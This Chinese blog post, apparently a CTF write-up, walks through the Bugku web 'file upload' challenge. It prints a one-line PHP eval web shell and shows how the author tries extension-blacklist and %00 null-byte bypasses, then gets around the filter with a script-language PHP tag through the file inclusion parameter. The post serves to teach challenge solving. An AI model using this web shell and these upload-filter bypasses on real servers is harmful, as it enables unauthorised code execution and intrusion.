| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> bugku web 文件上传2 -> 正文阅读 |
|
[PHP知识库]bugku web 文件上传2 |
题目:bugku 文件包含2知识点:文件包含工具:中国剑蚁解题:点开链接: ? 有点小炫酷的动画,除此之外没有什么信息,看一下源码: ? 发现注释中隐藏的upload.php,与题目的文件上传吻合了,现在思考怎么使用这个文件名,是直接访问还是如同默认页面一样,在file后传入文件名: ? 这里我们选择后者,比较幸运,成功了: 查看源码也并无玄机,看来应该到了上传文件的时候了。 文件上传通常需要我们做的是,上传一个恶意php脚本,然后我直接访问或者用菜刀、剑蚁之类的工具连接该脚本,其实核心思想即是服务器要认为这是一个脚本(这一题告诉我们真正重要的是可以执行)可以执行这个文件里的内容。 接下来想办法上传恶意脚本,首先没有客户端脚本对我们的上传进行限制,不过这个有没有关系不大,我们直接上传.gif,内容为<?php @eval($_POST[‘shell’])?>,然后抓包查看: ? 先根据常见的黑名单绕过方法,尝试修改文件后缀为.php .Php .PHP .pht .phpt .php3 .php5 .php6 .php7,果然全部失败 ? 这时候再尝试一下%00截断,这个我之前听说过但是还没尝试过,这里需要好好记录一下。 %00截断(也可以是0x00,/00等等):%00等字符表示的是ascii码值为0的字符,学过C语言的童鞋应该了解,字符串都要以%0结尾,这里的道理是相同的,echo “hello%00123”;打印出的是hello,因为%00已经结尾了。要注意php的版本,高版本已经启用%00截断,有的版本需要在php.ini中设置开启。 %00截断在文件上传处的使用是这样一种情况,我们构造类似于这样的文件名,tmp.php%00.gif,服务器检测到.gif认为这在白名单内,允许上传,但是实际上由于字符串截断,上传了文件.php(不过我这里不太明白的是,我认为判断文加后缀的函数也应该检测到文件截断啊,有大佬知道的话,望告知) 修改文件名为 tmp.php%00gif后上传成功,但是结果显示它还是一个gif文件 ? 我估计这应该是失败了,用剑蚁连接 http://114.67.246.176:14047/upload/202108010125546979.gif 果然失败了。 难道是要修改一些http首部吗?不确定,但是突然有了个想法上传文件的页面和默认页面都是通过file参数访问的,而且成功作为脚本文件加载了,那么我们直接访问file=tmp.gif行不行呢? 进行尝试: ? 虽然出现了点意外,这里应该是过滤了<?php ?>,但是这个结果告诉我们有戏。 这里要想一下,应该怎么去绕过,一般的写法有这几种: <? echo ("这是一个 PHP 语言的嵌入范例\n"); ?> <?php echo("这是第二个 PHP 语言的嵌入范例\n"); ?> <script language="php"> echo ("这是类似 JavaScript 及 VBScript 语法 的 PHP 语言嵌入范例"); </script> <% echo ("这是类似 ASP 嵌入语法的 PHP 范例"); %> 依次尝试,发现<script language 这种写法成功了,直接用剑蚁连接 命令行使用grep和find没有权限,只有手动查找了。 |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/18 16:53:55- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |